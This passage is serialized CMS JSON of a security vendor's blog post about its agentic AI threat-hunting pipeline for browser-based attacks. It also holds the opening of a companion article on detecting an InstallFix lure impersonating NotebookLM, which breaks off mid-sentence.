accessible.",{"data":17771,"content":17772,"nodeType":860},{},[17773,17776,17784],{"data":17774,"marks":17775,"value":2761,"nodeType":864},{},[],{"data":17777,"content":17779,"nodeType":883},{"uri":17778},"https://www.sans.org/white-papers/sans-2025-threat-hunting-survey-advancements-threat-hunting-amid-ai-cloud-challenges",[17780],{"data":17781,"marks":17782,"value":17783,"nodeType":864},{},[],"SANS 2025 Threat Hunting Survey",{"data":17785,"marks":17786,"value":17787,"nodeType":864},{},[]," found that 61% of organizations cite staffing shortages as the top barrier to running a hunting program. A single manual hunt takes 10 to 20 hours of sustained analyst focus — forming hypotheses about what an attacker might be doing, querying data sources sequentially, correlating results by hand, documenting findings. Many organizations hunt infrequently or not at all.",{"data":17789,"content":17790,"nodeType":860},{},[17791],{"data":17792,"marks":17793,"value":17794,"nodeType":864},{},[],"Threat hunting in the browser poses specific challenges: The stakes are high as AI-enabled attacks accelerate, and the availability of training and knowledge is low. ",{"data":17796,"content":17797,"nodeType":860},{},[17798],{"data":17799,"marks":17800,"value":17802,"nodeType":864},{},[17801],{"type":899},"AiTM phishing kits that manipulate DOM elements in real time, ClickFix variants that inject malicious payloads through clipboard manipulation, ConsentFix attacks that abuse OAuth consent flows, credential harvesting on pages that rotate infrastructure hourly — these techniques don't map cleanly onto the endpoint-focused threat models most SOC teams were built around, or the data sources they’re used to interrogating. ",{"data":17804,"content":17805,"nodeType":860},{},[17806],{"data":17807,"marks":17808,"value":17809,"nodeType":864},{},[],"Even well-staffed security organizations tend to have a blind spot in the browser layer because the expertise required to hunt there is specialized and the telemetry to support it hasn't historically been available.",{"data":17811,"content":17812,"nodeType":860},{},[17813],{"data":17814,"marks":17815,"value":17816,"nodeType":864},{},[],"Using AI agents to hunt for browser-based threats promises a net-new capability for smaller teams without dedicated threat hunting staff. For larger enterprises, the value of an agentic threat hunting capability lies in its ability to provide (or augment) expertise on emerging attack methods.",{"data":17818,"content":17819,"nodeType":860},{},[17820],{"data":17821,"marks":17822,"value":17823,"nodeType":864},{},[],"Most SOC teams have deep expertise at the endpoint, IdP, cloud, and network layers, built over years of working with those systems’ telemetry and workflows. But browser-based attacks operate in a different domain with different telemetry, different TTPs, and a different evasion model.",{"data":17825,"content":17826,"nodeType":860},{},[17827],{"data":17828,"marks":17829,"value":17830,"nodeType":864},{},[],"A capability like Push’s provides an answer to these three hurdles: providing expertise, without any additional burden on staff, and at a speed that matches the acceleration we’re currently witnessing in browser-based attack techniques.",{"data":17832,"content":17836,"nodeType":996},{"target":17833},{"sys":17834},{"id":17835,"type":1001,"linkType":1002},"1uw9eFMPDdrevj26fyix5f",[],{"data":17838,"content":17839,"nodeType":1005},{},[],{"data":17841,"content":17842,"nodeType":1009},{},[17843],{"data":17844,"marks":17845,"value":17846,"nodeType":864},{},[],"This isn’t chatbot log analysis",{"data":17848,"content":17849,"nodeType":860},{},[17850],{"data":17851,"marks":17852,"value":17853,"nodeType":864},{},[],"When you hear “AI-powered threat hunting,” you might imagine an AI copilot sitting on top of your SIEM, summarizing alerts and correlating log entries faster than a human analyst could. It’s a fair assumption because many products use this kind of implementation, and tools like those are useful.",{"data":17855,"content":17856,"nodeType":860},{},[17857],{"data":17858,"marks":17859,"value":17860,"nodeType":864},{},[],"That’s not what we built at Push.",{"data":17862,"content":17863,"nodeType":860},{},[17864,17868,17876],{"data":17865,"marks":17866,"value":17867,"nodeType":864},{},[],"If you’re not familiar with Push, it’s a browser security platform deployed as an extension that detects and stops advanced browser-based attacks while also providing visibility and control over shadow apps and identities, including AI usage. You can use the same telemetry Push provides for these use cases to ",{"data":17869,"content":17871,"nodeType":883},{"uri":17870},"https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser/",[17872],{"data":17873,"marks":17874,"value":17875,"nodeType":864},{},[],"perform data loss and insider risk investigations",{"data":17877,"marks":17878,"value":17879,"nodeType":864},{},[],", too.",{"data":17881,"content":17882,"nodeType":860},{},[17883],{"data":17884,"marks":17885,"value":17886,"nodeType":864},{},[],"What we built is an agentic threat hunting and detection pipeline where AI agents collaborate with in-house threat researchers to continuously hunt for emerging browser-based attack techniques across our customer base, and then automatically write and deploy new detections.",{"data":17888,"content":17889,"nodeType":860},{},[17890],{"data":17891,"marks":17892,"value":17893,"nodeType":864},{},[],"Our pipeline differs from AI-enabled log analysis in three key ways:",{"data":17895,"content":17896,"nodeType":1312},{},[17897],{"data":17898,"marks":17899,"value":17900,"nodeType":864},{},[],"A new telemetry source is the foundation",{"data":17902,"content":17903,"nodeType":860},{},[17904],{"data":17905,"marks":17906,"value":17907,"nodeType":864},{},[],"First, the Push platform generates its own telemetry. The Push browser extension operates as a flight recorder, locally collecting browser session metadata that doesn’t exist anywhere else in the security stack — details like DOM structure, script execution contexts, redirect chains, credential entry behavior, OAuth consent flows, and network requests observed from inside the session. ",{"data":17909,"content":17910,"nodeType":860},{},[17911],{"data":17912,"marks":17913,"value":17914,"nodeType":864},{},[],"This metadata is stored locally and only queried during targeted threat hunts, preserving user and customer privacy.",{"data":17916,"content":17917,"nodeType":1312},{},[17918],{"data":17919,"marks":17920,"value":17921,"nodeType":864},{},[],"Proactive hunting, not just reactive triage",{"data":17923,"content":17924,"nodeType":860},{},[17925],{"data":17926,"marks":17927,"value":17928,"nodeType":864},{},[],"The pipeline also hunts proactively rather than triaging reactively, as with log analysis agents.",{"data":17930,"content":17931,"nodeType":860},{},[17932],{"data":17933,"marks":17934,"value":17935,"nodeType":864},{},[],"Push agents generate hypotheses, craft queries against the telemetry corpus, run them across millions of browsers, and triage the results — searching for techniques that haven't triggered any existing alert or rule. ",{"data":17937,"content":17938,"nodeType":860},{},[17939,17942,17950],{"data":17940,"marks":17941,"value":2761,"nodeType":864},{},[],{"data":17943,"content":17944,"nodeType":883},{"uri":6024},[17945],{"data":17946,"marks":17947,"value":17949,"nodeType":864},{},[17948],{"type":1455},"InstallFix discovery",{"data":17951,"marks":17952,"value":17953,"nodeType":864},{},[]," described in the original agentic threat hunting article is the clearest example: The Push pipeline surfaced 12 meaningful results from trillions of browser events, and one of them was a novel attack technique. That's threat hunting at machine scale, not just alert triage.",{"data":17955,"content":17956,"nodeType":1312},{},[17957],{"data":17958,"marks":17959,"value":17960,"nodeType":864},{},[],"Not just analysis, but new detections, too",{"data":17962,"content":17963,"nodeType":860},{},[17964],{"data":17965,"marks":17966,"value":17967,"nodeType":864},{},[],"Finally, the output isn’t (only) a natural-language summary of what the agents found. It’s a production detection rule that ships to every Push customer and wires into real-time enforcement controls defined by Push admins. ",{"data":17969,"content":17970,"nodeType":860},{},[17971],{"data":17972,"marks":17973,"value":17974,"nodeType":864},{},[],"The pipeline's job isn’t to help you understand an alert faster. Rather, it’s producing detection rules that didn't exist before at a speed that enables those detections to address emerging attack techniques and organization-specific campaigns within minutes.",{"data":17976,"content":17977,"nodeType":1005},{},[],{"data":17979,"content":17980,"nodeType":1009},{},[17981],{"data":17982,"marks":17983,"value":17984,"nodeType":864},{},[],"Agentic threat hunting as core product infrastructure",{"data":17986,"content":17987,"nodeType":860},{},[17988],{"data":17989,"marks":17990,"value":17991,"nodeType":864},{},[],"The nice thing about commercially available AI models is that they’re really good at understanding web code. That arcane Javascript function you’d have to look up in the docs? They recognize it immediately. That makes them perfectly suited to provide domain knowledge that can be harnessed with the right security expertise.",{"data":17993,"content":17994,"nodeType":860},{},[17995],{"data":17996,"marks":17997,"value":17998,"nodeType":864},{},[],"Using commercial models in our agentic detection pipeline then becomes a force multiplier for our research team’s understanding of TTPs — not a security engine in and of itself.",{"data":18000,"content":18001,"nodeType":860},{},[18002],{"data":18003,"marks":18004,"value":18005,"nodeType":864},{},[],"The four core components of our agentic pipeline can’t be replaced by using the same models we do, because the value is not in the models, but in the product infrastructure, product telemetry, and research expertise those models capitalize on.",{"data":18007,"content":18011,"nodeType":996},{"target":18008},{"sys":18009},{"id":18010,"type":1001,"linkType":1002},"7oif7PEEC3UMoTqVfRz3ZJ",[],{"data":18013,"content":18014,"nodeType":1312},{},[18015],{"data":18016,"marks":18017,"value":18018,"nodeType":864},{},[],"Component 1: The flight recorder",{"data":18020,"content":18021,"nodeType":860},{},[18022],{"data":18023,"marks":18024,"value":18025,"nodeType":864},{},[],"We deploy as a browser extension — not a separate browser, a proxy or an endpoint agent — which means we sit inside the browser session itself, seeing what the user sees. ",{"data":18027,"content":18028,"nodeType":860},{},[18029],{"data":18030,"marks":18031,"value":18032,"nodeType":864},{},[],"A component of the extension acts as a flight recorder, collecting and locally storing browser-level metadata: DOM elements, tab context, script execution, network traffic, user actions, credential entry, and more. This body of structured browser event metadata is the searchable landscape for every hunt.",{"data":18034,"content":18035,"nodeType":860},{},[18036],{"data":18037,"marks":18038,"value":18039,"nodeType":864},{},[],"That's a data source most security teams have never had access to. You can't get it from an endpoint agent, a network proxy, or a cloud access log, because it doesn't exist outside the browser session. Turns out, it matters more than the model itself: When the model has this full browser context — the DOM, redirect chains, user behavior — it can reason about what happened. When it has to start guessing at those details, it starts hallucinating.",{"data":18041,"content":18045,"nodeType":996},{"target":18042},{"sys":18043},{"id":18044,"type":1001,"linkType":1002},"6qs9xZvmKlVXOLVhFfMVFx",[],{"data":18047,"content":18048,"nodeType":1312},{},[18049],{"data":18050,"marks":18051,"value":18052,"nodeType":864},{},[],"Component 2: The internal knowledge base",{"data":18054,"content":18055,"nodeType":860},{},[18056],{"data":18057,"marks":18058,"value":18059,"nodeType":864},{},[],"As we mentioned earlier, commercial LLMs understand web code exceedingly well. What they don’t know is which patterns in that code indicate a credential-harvesting AiTM kit versus a legitimate login page, or which redirect behavior signals an InstallFix lure versus a normal marketing funnel.",{"data":18061,"content":18062,"nodeType":860},{},[18063],{"data":18064,"marks":18065,"value":18066,"nodeType":864},{},[],"That distinction comes from our internal knowledge base — years of TTP analysis, curated libraries of traces from real phishing kits encountered in the wild, and hunt parameters refined through hundreds of investigations led by our experienced human research team. ",{"data":18068,"content":18069,"nodeType":860},{},[18070],{"data":18071,"marks":18072,"value":18073,"nodeType":864},{},[],"This knowledge base also reflects a deliberate architectural choice. ",{"data":18075,"content":18076,"nodeType":1116},{},[18077],{"data":18078,"content":18079,"nodeType":860},{},[18080,18083,18089,18092],{"data":18081,"marks":18082,"value":7949,"nodeType":864},{},[],{"data":18084,"content":18085,"nodeType":883},{"uri":7952},[18086],{"data":18087,"marks":18088,"value":7957,"nodeType":864},{},[],{"data":18090,"marks":18091,"value":7961,"nodeType":864},{},[],{"data":18093,"marks":18094,"value":7966,"nodeType":864},{},[18095],{"type":2246},{"data":18097,"content":18098,"nodeType":860},{},[18099],{"data":18100,"marks":18101,"value":18102,"nodeType":864},{},[],"Our knowledge base encodes behavioral patterns and TTP signatures instead, which means detections remain effective even as infrastructure rotates underneath them.",{"data":18104,"content":18105,"nodeType":860},{},[18106],{"data":18107,"marks":18108,"value":18109,"nodeType":864},{},[],"We've also learned that even high-quality security data isn’t AI-ready out of the box. Structuring data and knowledge for agent consumption requires dedicated engineering. ",{"data":18111,"content":18112,"nodeType":860},{},[18113],{"data":18114,"marks":18115,"value":18116,"nodeType":864},{},[],"Our researchers have spent that time identifying, naming, and documenting browser-based attack techniques and encoding that knowledge into a format that agents can operationalize and extend.",{"data":18118,"content":18119,"nodeType":1312},{},[18120],{"data":18121,"marks":18122,"value":18123,"nodeType":864},{},[],"Component 3: The thoughtfully organized agents",{"data":18125,"content":18126,"nodeType":860},{},[18127,18131,18136],{"data":18128,"marks":18129,"value":18130,"nodeType":864},{},[],"The engineering challenge isn't getting a model to analyze one browser event — it's keeping it reliable across thousands of events. If you fill a context window with too much data and the model loses the ability to discern signal from noise, you get something called ",{"data":18132,"marks":18133,"value":18135,"nodeType":864},{},[18134],{"type":899},"context rot",{"data":18137,"marks":18138,"value":18139,"nodeType":864},{},[],". That's been our primary engineering focus over the last quarter: not making agents objectively smarter, but keeping them focused to improve their outputs.",{"data":18141,"content":18142,"nodeType":860},{},[18143],{"data":18144,"marks":18145,"value":18146,"nodeType":864},{},[],"Our solution is hierarchy. A hunting agent oversees the overall hunt — it understands the query and knows what it's looking for. It dispatches an army of analysis agents, each picking up a single result trace, the term we use for a series of events in a session or tab context. ",{"data":18148,"content":18149,"nodeType":860},{},[18150],{"data":18151,"marks":18152,"value":18153,"nodeType":864},{},[],"But even a single trace can contain thousands of events, so each analysis agent breaks it down into blocks, analyzes and summarizes each one, looks for connections between them, and then bubbles up only the interesting signal. Layer by layer, the context narrows until what reaches the top is workable.",{"data":18155,"content":18156,"nodeType":860},{},[18157],{"data":18158,"marks":18159,"value":18160,"nodeType":864},{},[],"Different agents handle hypothesis generation, query crafting, triage, deep investigation, detection authoring, and meta-analysis for quality control. We back-test detections against real data before they ship. This segmentation and hierarchy took significant trial and error — you can swap out almost any individual model in the chain, but the hierarchy itself is the thing that ultimately makes it work.",{"data":18162,"content":18163,"nodeType":860},{},[18164],{"data":18165,"marks":18166,"value":18167,"nodeType":864},{},[],"The consensus coming out of RSAC this year reinforces this approach. The industry's focus has shifted from “which model is the best?” to “how do we build reliable systems around these models?” ",{"data":18169,"content":18173,"nodeType":996},{"target":18170},{"sys":18171},{"id":18172,"type":1001,"linkType":1002},"4cXhgVflbtxiKs604aemSt",[],{"data":18175,"content":18176,"nodeType":1312},{},[18177],{"data":18178,"marks":18179,"value":18180,"nodeType":864},{},[],"Component 4: The response engine",{"data":18182,"content":18183,"nodeType":860},{},[18184],{"data":18185,"marks":18186,"value":18187,"nodeType":864},{},[],"Finally, a hunt without a response you can operationalize is just a report. When our agents identify a new technique, the detection they write feeds directly into the same platform that enforces real-time controls in the browser: blocking credential entry on phishing pages, intercepting clipboard injection attacks, warning users during suspicious OAuth consent flows, etc.",{"data":18189,"content":18190,"nodeType":860},{},[18191],{"data":18192,"marks":18193,"value":18194,"nodeType":864},{},[],"Detection and response share the same infrastructure, which means a new technique can go seamlessly from hunt analysis to production enforcement.",{"data":18196,"content":18200,"nodeType":996},{"target":18197},{"sys":18198},{"id":18199,"type":1001,"linkType":1002},"vIrkHJ4ec1I41nXeRHfT2",[],{"data":18202,"content":18203,"nodeType":1005},{},[],{"data":18205,"content":18206,"nodeType":1009},{},[18207],{"data":18208,"marks":18209,"value":18210,"nodeType":864},{},[],"Learn more about Push and how we develop new detections",{"data":18212,"content":18213,"nodeType":860},{},[18214,18218,18225],{"data":18215,"marks":18216,"value":18217,"nodeType":864},{},[],"For a deeper look at how the pipeline works in practice, including a step-by-step walkthrough of how we discovered a novel InstallFix attack targeting NotebookLM users, the two-loop detection architecture that creates a compounding effect for customers, and the emerging best practices we've identified for using AI agents in security operations, check out our companion article: ",{"data":18219,"content":18220,"nodeType":883},{"uri":17719},[18221],{"data":18222,"marks":18223,"value":18224,"nodeType":864},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline at Push",{"data":18226,"marks":18227,"value":2924,"nodeType":864},{},[],{"data":18229,"content":18230,"nodeType":860},{},[18231,18235,18242],{"data":18232,"marks":18233,"value":18234,"nodeType":864},{},[],"If you'd like to see how our agentic detection capabilities apply to your environment, ",{"data":18236,"content":18237,"nodeType":883},{"uri":1700},[18238],{"data":18239,"marks":18240,"value":18241,"nodeType":864},{},[],"book a demo",{"data":18243,"marks":18244,"value":2924,"nodeType":864},{},[],{"entries":18246},{"hyperlink":18247,"inline":18248,"block":18249},[],[],[18250,18254,18261,18275,18294],{"sys":18251,"__typename":1717,"type":1718,"ctaText":18252,"buttonLabel":18253,"buttonColour":1721,"buttonUrl":12559},{"id":17835},"Learn how AI-enabled attacks are making infrastructure-based detection increasingly ineffective in our update on the Pyramid of Pain concept for 2026.","Read the blog",{"sys":18255,"__typename":1724,"title":18256,"caption":18256,"layoutMode":59,"file":18257},{"id":18010},"High-level view of our agentic threat hunting pipeline.",{"url":18258,"width":18259,"height":18260},"https://images.ctfassets.net/y1cdw1ablpvd/vsZeU4aJ54AUHwTqmB9rQ/95612df4929512599c26f5727af8e420/image1_10.png",2268,1164,{"sys":18262,"__typename":1740,"content":18263,"name":18274,"title":59},{"id":18044},{"json":18264},{"data":18265,"content":18266,"nodeType":856},{},[18267],{"data":18268,"content":18269,"nodeType":860},{},[18270],{"data":18271,"marks":18272,"value":18273,"nodeType":864},{},[],"The Push extension, the telemetry it collects, and the scale (3 million browsers and counting) at which it operates is the underlying capability that makes our agentic threat hunting possible.","Vibecode threat hunting pipeline IB1",{"sys":18276,"__typename":1740,"content":18277,"name":18293,"title":59},{"id":18172},{"json":18278},{"data":18279,"content":18280,"nodeType":856},{},[18281],{"data":18282,"content":18283,"nodeType":860},{},[18284,18289],{"data":18285,"marks":18286,"value":18288,"nodeType":864},{},[18287],{"type":899},"What matters is what goes into the model — the telemetry, the domain knowledge, the structured context — and what happens around it: the orchestration, quality control, and feedback loops.",{"data":18290,"marks":18291,"value":18292,"nodeType":864},{},[]," That's where production reliability comes from, and it's where you’ll find the need for significant engineering effort.","Vibecode threat hunting pipeline IB2",{"sys":18295,"__typename":1740,"content":18296,"name":18307,"title":59},{"id":18199},{"json":18297},{"nodeType":856,"data":18298,"content":18299},{},[18300],{"nodeType":860,"data":18301,"content":18302},{},[18303],{"nodeType":864,"value":18304,"marks":18305,"data":18306},"Without a browser-layer enforcement tool, any knowledge of emerging attack methods can only be addressed by revoking sessions, resetting passwords, adding (short-lived) domains to a blocklist, wiping compromised machines, and other after-the-fact response actions that keep security teams on the back foot against these kinds of incidents. ",[],{},"Vibecode threat hunting pipeline IB3",{"items":18309},[],{},"No, you can’t vibecode an AI-driven threat hunting pipeline",{"items":18313},[18314,19264,19837],{"__typename":2059,"sys":18315,"content":18317,"title":19250,"synopsis":19251,"hashTags":59,"publishedDate":19252,"slug":19253,"tagsCollection":19254,"authorsCollection":19260},{"id":18316},"1jfqiWQlL6qkn3i9yjNbFB",{"json":18318},{"data":18319,"content":18320,"nodeType":856},{},[18321,18328,18349,18361,18368,18376,18383,18405,18412,18419,18426,18438,18444,18447,18455,18471,18490,18601,18606,18613,18619,18627,18634,18646,18653,18659,18666,18689,18696,18703,18709,18712,18720,18727,18735,18742,18757,18764,18771,18779,18786,18793,18801,18808,18815,18818,18826,18833,18841,18848,18855,18862,18869,18877,18884,18916,18923,18930,18936,18943,18951,18958,19036,19042,19050,19066,19073,19079,19086,19102,19105,19113,19120,19127,19133,19140,19184,19191,19198,19205,19211,19214,19222,19228,19234],{"data":18322,"content":18323,"nodeType":860},{},[18324],{"data":18325,"marks":18326,"value":18327,"nodeType":864},{},[],"In March, our threat hunting engine flagged something it hadn’t seen before.",{"data":18329,"content":18330,"nodeType":860},{},[18331,18335,18345],{"data":18332,"marks":18333,"value":18334,"nodeType":864},{},[],"Our research team had already been tracking the growing use of ",{"data":18336,"content":18340,"nodeType":18344},{"target":18337},{"sys":18338},{"id":18339,"type":1001,"linkType":1002},"2U6QpQ9rkY8x5ES48okHZB",[18341],{"data":18342,"marks":18343,"value":441,"nodeType":864},{},[],"entry-hyperlink",{"data":18346,"marks":18347,"value":18348,"nodeType":864},{},[]," tied to phishing campaigns. Malvertising frequently targets users via Google Search results, inserting malicious ads or redirects in place of legitimate ads, and using the familiar context of the search results page to trick users into clicking.",{"data":18350,"content":18351,"nodeType":860},{},[18352,18356],{"data":18353,"marks":18354,"value":18355,"nodeType":864},{},[],"To defend Push customers against this threat, we needed a way to spot malicious activity arising from clicking on Google ads. ",{"data":18357,"marks":18358,"value":18360,"nodeType":864},{},[18359],{"type":2246},"But how to separate signal from noise?",{"data":18362,"content":18363,"nodeType":860},{},[18364],{"data":18365,"marks":18366,"value":18367,"nodeType":864},{},[],"Our hunt combined the skills of human researchers and AI agents to find 12 meaningful results from trillions of browser events visible to the Push extension across our install base.",{"data":18369,"content":18370,"nodeType":860},{},[18371],{"data":18372,"marks":18373,"value":18375,"nodeType":864},{},[18374],{"type":899},"Of those, one was novel. ",{"data":18377,"content":18378,"nodeType":860},{},[18379],{"data":18380,"marks":18381,"value":18382,"nodeType":864},{},[],"A user had searched for NotebookLM, clicked a paid Google ad, and gotten redirected to a page impersonating NotebookLM. The page itself was just a facade fronting a Cloudflare Pages-hosted phishing kit with a WebAssembly C2 connector. To the user, it looked like a completely on-brand NotebookLM page, and if they had run the fake install prompt, they would have installed malware. (Note: NotebookLM doesn’t even require a local install, but the page was convincing enough — and AI platforms are changing so quickly — that the lure was extremely believable.)",{"data":18384,"content":18385,"nodeType":860},{},[18386,18391,18401],{"data":18387,"marks":18388,"value":18390,"nodeType":864},{},[18389],{"type":899},"We had found our first in-the-wild ",{"data":18392,"content":18396,"nodeType":18344},{"target":18393},{"sys":18394},{"id":18395,"type":1001,"linkType":1002},"7bG71Eo43crbIHKzczooVS",[18397],{"data":18398,"marks":18399,"value":8098,"nodeType":864},{},[18400],{"type":899},{"data":18402,"marks":18403,"value":2924,"nodeType":864},{},[18404],{"type":899},{"data":18406,"content":18407,"nodeType":860},{},[18408],{"data":18409,"marks":18410,"value":18411,"nodeType":864},{},[],"Within minutes, our analysis agents created detections, and researchers shipped a new detection to every Push customer. ",{"data":18413,"content":18414,"nodeType":860},{},[18415],{"data":18416,"marks":18417,"value":18418,"nodeType":864},{},[],"Eighteen months ago, it would have taken a human analyst days or even weeks to unpack the attack, comb through web requests, de-obfuscate web code, trace JavaScript execution, and extract signals of tactics, techniques, and procedures (TTPs) beyond short-lived single-use IOCs like domain name, then get their work coded up as a detection and deployed to customers. ",{"data":18420,"content":18421,"nodeType":860},{},[18422],{"data":18423,"marks":18424,"value":18425,"nodeType":864},{},[],"That was viable when new tools or techniques showed up once or twice a quarter. It doesn’t stand a chance when attack evolutions occur weekly or even daily. That’s the reality now with AI-generated adversary tools.",{"data":18427,"content":18428,"nodeType":860},{},[18429,18434],{"data":18430,"marks":18431,"value":18433,"nodeType":864},{},[18432],{"type":899},"So, can AI agents replace human threat researchers?",{"data":18435,"marks":18436,"value":18437,"nodeType":864},{},[]," That’s the wrong question. Can AI agents massively scale the expertise of a seasoned human threat hunter without getting bored of repetitive tasks, missing pertinent but easily overlooked details, or creating operational siloes dependent on one person’s knowledge — and do its work continuously across trillions of data points? Yes, absolutely.",{"data":18439,"content":18443,"nodeType":996},{"target":18440},{"sys":18441},{"id":18442,"type":1001,"linkType":1002},"3OiZ7BrViCTTMmHUAbloEt",[],{"data":18445,"content":18446,"nodeType":1005},{},[],{"data":18448,"content":18449,"nodeType":1009},{},[18450],{"data":18451,"marks":18452,"value":18454,"nodeType":864},{},[18453],{"type":899},"Why scaling browser threat detection requires more than more analysts",{"data":18456,"content":18457,"nodeType":860},{},[18458,18462,18467],{"data":18459,"marks":18460,"value":18461,"nodeType":864},{},[],"Already this year, we’ve ",{"data":18463,"marks":18464,"value":18466,"nodeType":864},{},[18465],{"type":899},"tripled",{"data":18468,"marks":18469,"value":18470,"nodeType":864},{},[]," the cumulative number of detections shipped to Push customers using this pipeline. That output points to the first problem we set out to solve by employing AI agents: Scaling our research team’s considerable expertise.",{"data":18472,"content":18473,"nodeType":860},{},[18474,18478,18486],{"data":18475,"marks":18476,"value":18477,"nodeType":864},{},[],"Push’s R&D team are experts at understanding and unpacking modern browser-based attacks. This is essential when you consider how quickly attacks themselves are evolving. When we created the ",{"data":18479,"content":18482,"nodeType":18344},{"target":18480},{"sys":18481},{"id":5746,"type":1001,"linkType":1002},[18483],{"data":18484,"marks":18485,"value":5248,"nodeType":864},{},[],{"data":18487,"marks":18488,"value":18489,"nodeType":864},{},[]," in 2023 (then called the SaaS Attacks Matrix), many of the ideas in it were theoretical. Not anymore. ",{"data":18491,"content":18492,"nodeType":941},{},[18493,18503,18527],{"data":18494,"content":18495,"nodeType":945},{},[18496],{"data":18497,"content":18498,"nodeType":860},{},[18499],{"data":18500,"marks":18501,"value":18502,"nodeType":864},{},[],"We’ve tracked the rise of AiTM phish kits from their status as MFA-bypassing novelties to the emergence of an entire criminal ecosystem built around increasingly sophisticated Phishing-as-a-Service tools. ",{"data":18504,"content":18505,"nodeType":945},{},[18506],{"data":18507,"content":18508,"nodeType":860},{},[18509,18513,18523],{"data":18510,"marks":18511,"value":18512,"nodeType":864},{},[],"We imagined the simple but effective power of using device code authorization for phishing three years ago; in the last few months, we’ve detected a 37x increase in ",{"data":18514,"content":18518,"nodeType":18344},{"target":18515},{"sys":18516},{"id":18517,"type":1001,"linkType":1002},"5DmCqTU2Tg4adYScA5vT2x",[18519],{"data":18520,"marks":18521,"value":18522,"nodeType":864},{},[],"device code phishing attacks",{"data":18524,"marks":18525,"value":18526,"nodeType":864},{},[]," across our install base. ",{"data":18528,"content":18529,"nodeType":945},{},[18530],{"data":18531,"content":18532,"nodeType":860},{},[18533,18537,18546,18550,18559,18563,18573,18576,18584,18587,18597],{"data":18534,"marks":18535,"value":18536,"nodeType":864},{},[],"We were also the first to detect a novel post-authorization attack we dubbed ",{"data":18538,"content":18542,"nodeType":18344},{"target":18539},{"sys":18540},{"id":18541,"type":1001,"linkType":1002},"71EaaK7lfl6bQBbkAU0qjv",[18543],{"data":18544,"marks":18545,"value":6041,"nodeType":864},{},[],{"data":18547,"marks":18548,"value":18549,"nodeType":864},{},[]," that combines OAuth consent phishing and ClickFix-style user prompts; reported on the rise of the ridiculously simple yet effective ",{"data":18551,"content":18554,"nodeType":18344},{"target":18552},{"sys":18553},{"id":18395,"type":1001,"linkType":1002},[18555],{"data":18556,"marks":18557,"value":18558,"nodeType":864},{},[],"InstallFix technique",{"data":18560,"marks":18561,"value":18562,"nodeType":864},{},[]," described earlier; and detected an array of other ",{"data":18564,"content":18568,"nodeType":18344},{"target":18565},{"sys":18566},{"id":18567,"type":1001,"linkType":1002},"2YmiesBvJHGw4wiKEKzLUq",[18569],{"data":18570,"marks":18571,"value":18572,"nodeType":864},{},[],"creative",{"data":18574,"marks":18575,"value":1171,"nodeType":864},{},[],{"data":18577,"content":18580,"nodeType":18344},{"target":18578},{"sys":18579},{"id":18339,"type":1001,"linkType":1002},[18581],{"data":18582,"marks":18583,"value":520,"nodeType":864},{},[],{"data":18585,"marks":18586,"value":1171,"nodeType":864},{},[],{"data":18588,"content":18592,"nodeType":18344},{"target":18589},{"sys":18590},{"id":18591,"type":1001,"linkType":1002},"6Zosy4SU0LpjlaSWX75peb",[18593],{"data":18594,"marks":18595,"value":18596,"nodeType":864},{},[],"campaigns",{"data":18598,"marks":18599,"value":18600,"nodeType":864},{},[]," tied to malvertising scams.",{"data":18602,"content":18605,"nodeType":996},{"target":18603},{"sys":18604},{"id":4990,"type":1001,"linkType":1002},[],{"data":18607,"content":18608,"nodeType":860},{},[18609],{"data":18610,"marks":18611,"value":18612,"nodeType":864},{},[],"With an agentic approach, we could scale this expertise and reduce the time it takes to go from technique discovery to production-ready detection. This speed is critical now because adversaries are also using AI tools to do their work, exploding the number of trivial-to-rotate indicators of compromise and overwhelming existing detection workflows that lack an equivalent machine speed.",{"data":18614,"content":18618,"nodeType":996},{"target":18615},{"sys":18616},{"id":18617,"type":1001,"linkType":1002},"1u00uFbC4xsvP9lqahXbgD",[],{"data":18620,"content":18621,"nodeType":1312},{},[18622],{"data":18623,"marks":18624,"value":18626,"nodeType":864},{},[18625],{"type":899},"Scaling behavioral detections, not just making bigger blocklists",{"data":18628,"content":18629,"nodeType":860},{},[18630],{"data":18631,"marks":18632,"value":18633,"nodeType":864},{},[],"But output numbers alone don’t tell the story of successful detections. That’s the other problem we set out to solve at scale: Most secure browser solutions rely on detection logic based on blocking known-bad indicators like domains, IPs, and URLs.",{"data":18635,"content":18636,"nodeType":860},{},[18637,18642],{"data":18638,"marks":18639,"value":18641,"nodeType":864},{},[18640],{"type":899},"If your solution offers 1,000 detections, and they’re all based on known-bad indicators that are easily rotated, then you’ve got 1,000 detections that worked once and will likely never fire again. ",{"data":18643,"marks":18644,"value":18645,"nodeType":864},{},[],"They certainly won’t catch subtle adaptations in adversary techniques that don’t rely on infrastructure changes, which are easy for attackers to swap anyway. ",{"data":18647,"content":18648,"nodeType":860},{},[18649],{"data":18650,"marks":18651,"value":18652,"nodeType":864},{},[],"Push does it differently. Our detection engine is focused on hunting for tactics, techniques, and procedures: the behavioral fingerprints of an attack, not just the infrastructure it runs on. ",{"data":18654,"content":18658,"nodeType":996},{"target":18655},{"sys":18656},{"id":18657,"type":1001,"linkType":1002},"5jR3YVUiusHGnXDOyrgYpr",[],{"data":18660,"content":18661,"nodeType":860},{},[18662],{"data":18663,"marks":18664,"value":18665,"nodeType":864},{},[],"Instead of blocking based on known-bad domains, URLs, and IPs, our detections are built around user-level and page-level behaviors like what scripts load, how redirects behave, what events fire, what actions a user takes and what happens next, etc. (In fact, Push detections don’t even use any infrastructure-based IOCs, though customers can write their own custom detections if they have a specific IOC they’re keeping an eye on.)",{"data":18667,"content":18668,"nodeType":860},{},[18669,18674,18684],{"data":18670,"marks":18671,"value":18673,"nodeType":864},{},[18672],{"type":899},"All the detections we write would survive infrastructure rotation by adversaries, and many of our existing detections have caught never-before-seen evolutions in TTPs. That’s because we focus on the top of the ",{"data":18675,"content":18679,"nodeType":18344},{"target":18676},{"sys":18677},{"id":18678,"type":1001,"linkType":1002},"1qegIy4rMdm5XZXnIEoKpE",[18680],{"data":18681,"marks":18682,"value":11824,"nodeType":864},{},[18683],{"type":899},{"data":18685,"marks":18686,"value":18688,"nodeType":864},{},[18687],{"type":899},", the indicators that are hardest for attackers to change.",{"data":18690,"content":18691,"nodeType":860},{},[18692],{"data":18693,"marks":18694,"value":18695,"nodeType":864},{},[],"This focus on detecting TTPs has always been our approach. But with the acceleration in both attack types and the ease with which adversaries rotate infrastructure, we needed to build capabilities that scaled our knowledge. ",{"data":18697,"content":18698,"nodeType":860},{},[18699],{"data":18700,"marks":18701,"value":18702,"nodeType":864},{},[],"We did this not by replacing 